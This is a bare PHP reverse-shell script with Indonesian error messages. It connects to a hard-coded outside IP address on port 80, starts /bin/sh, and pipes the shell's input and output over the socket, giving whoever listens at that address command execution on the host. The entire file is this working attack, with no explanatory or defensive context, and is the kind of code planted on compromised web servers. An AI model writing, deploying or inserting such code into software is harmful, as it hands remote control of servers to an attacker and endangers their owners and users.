<?php

$ip = '212.85.24.99';
$port = 80;

$sock = @fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    die("[-] Gagal terhubung ke $ip:$port\n");
}

$descriptorspec = array(
   0 => array("pipe", "r"), 
   1 => array("pipe", "w"), 
   2 => array("pipe", "w")  
);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);
if (!is_resource($process)) {
    die("[-] Gagal menjalankan shell\n");
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

while (!feof($sock)) {
    $input = fread($sock, 4096);
    if ($input) fwrite($pipes[0], $input);

    $stdout = fread($pipes[1], 4096);
    $stderr = fread($pipes[2], 4096);
    if ($stdout || $stderr) fwrite($sock, $stdout . $stderr);
    
    usleep(10000);
}

fclose($sock);
proc_close($process);
?>